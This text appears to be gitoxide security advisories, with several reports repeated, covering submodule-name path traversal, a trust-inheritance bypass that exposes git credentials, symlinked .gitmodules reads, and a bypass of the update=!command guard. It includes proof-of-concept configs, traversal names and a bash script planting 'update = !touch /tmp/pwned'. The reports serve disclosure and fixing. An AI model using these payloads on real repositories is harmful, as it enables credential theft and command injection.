The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

